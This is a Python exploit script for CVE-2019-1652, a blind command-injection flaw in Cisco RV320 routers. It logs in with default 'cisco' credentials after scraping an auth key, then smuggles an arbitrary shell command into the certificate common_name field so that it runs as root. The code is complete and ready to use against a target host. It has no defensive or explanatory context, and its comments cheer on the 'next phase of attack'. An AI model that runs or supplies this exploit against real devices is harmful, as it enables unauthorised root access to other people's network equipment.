#!/usr/bin/python
# coding: utf-8
# CVE-2019-1652 - Blind remote root command execution on Cisco RV320.
import argparse
import requests
import sys
# nuke https warnings...
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# fucking regex
import re
import hashlib

def extract_auth_key(session, base_url): # getting the dumb auth key
    r = session.get(base_url, verify=False)
    auth_key = re.findall('"auth_key" value="(.*?)">', r.text)
    if len(auth_key):
        return auth_key[0]
    else:
        return None

def cisco_login(host, port, ssl, username, password):
    s = requests.Session()
    if ssl == True:
        base_url = "https://%s:%s/" %(host, port)
    else:
        base_url = "https://%s:%s/" %(host, port)
    login_url = "%scgi-bin/userLogin.cgi" %(base_url)
    print "{+} Sending request to %s to extract auth key..." %(base_url)
    auth_key = extract_auth_key(session=s, base_url=base_url)
    if auth_key != None:
        print "{*} Got auth_key value: %s" %(auth_key)
    else:
        print "{*} auth_key extraction failed. Using 1964300002 anyway"
        auth_key = "1964300002" # this seems to be a default on some?
    # now we compute the login :|
    password_hash_plain = password+auth_key # Yeah, it does this...
    password_hash = hashlib.md5(password_hash_plain).hexdigest() # Seriously what?!
    auth_server_pw = password.encode("base64").strip() # No idea why. This whole setup is batshit.
    post_data = {"auth_key": auth_key,
                 "auth_server_pw": auth_server_pw,
                 "changelanguage": "",
                 "current_password": "",
                 "langName": "ENGLISH,Deutsch,Espanol,Francais,Italiano",
                 "LanguageList": "ENGLISH",
                 "login": "true",
                 "md5_old_pass": "",
                 "new_password": "",
                 "password": password_hash,
                 "password_expired": 0,
                 "pdStrength": 0,
                 "portalname": "CommonPortal",
                 "re_new_password": "",
                 "submitStatus": 0,
                 "username": username} # this is batshit and it won't work without all these vars?!
    login = s.post(url=login_url, data=post_data, verify=False)
    if "URL=/default.htm" in login.text:
        print "{+} Login Successful, we can proceed!"
        return base_url, s # return the base url and session...
    else:
        sys.exit("{!} Login Failed, quitting time loser :(")

def pwn(base_url, session, command):
    print "{+} Ok, now to run your command: %s" %(command)
    print "{+} We don't get output so... Yeah. Shits blind. Good luck!"
    target_url = "%scertificate_handle2.htm?type=4" %(base_url)
    payload = "a'$(%s)'b" %(command)
    post_data = {"page": "self_generator.htm",
                 "totalRules": 1,
                 "OpenVPNRules": 30,
                 "submitStatus": 1,
                 "log_ch": 1,
                 "type": 4,
                 "Country": "A",
                 "state": "A",
                 "locality": "A",
                 "organization": "A",
                 "organization_unit": "A",
                 "email": "ab%40example.com",
                 "KeySize": 512,
                 "KeyLength": 1024,
                 "valid_days": 30,
                 "SelectSubject_c": 1,
                 "SelectSubject_s": 1,
                 "common_name": payload}
    r = session.post(url=target_url, data=post_data, verify=False)
    print "{+} Done. Hopefully you did something useful."

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help="Target host", required=True)
    parser.add_argument('-s', '--ssl', action="store_true", default=True, help="Use SSL")
    parser.add_argument('-p', '--port', default="443", help="Target port")
    parser.add_argument('-U', '--username', default="cisco", help="Username")
    parser.add_argument('-P', '--password', default="cisco", help="Password")
    parser.add_argument('-c', '--command', default="id", help="Command. You get no output so... Do with it as you see fit.")
    # more args to come...
    args = parser.parse_args()
    base_url, session = cisco_login(host=args.target, port=args.port, ssl=args.ssl, username=args.username, password=args.password)
    # we now have a session object. We can move to the next phase of attack.
    pwn(base_url=base_url, session=session, command=args.command)

if __name__ == "__main__":
    main()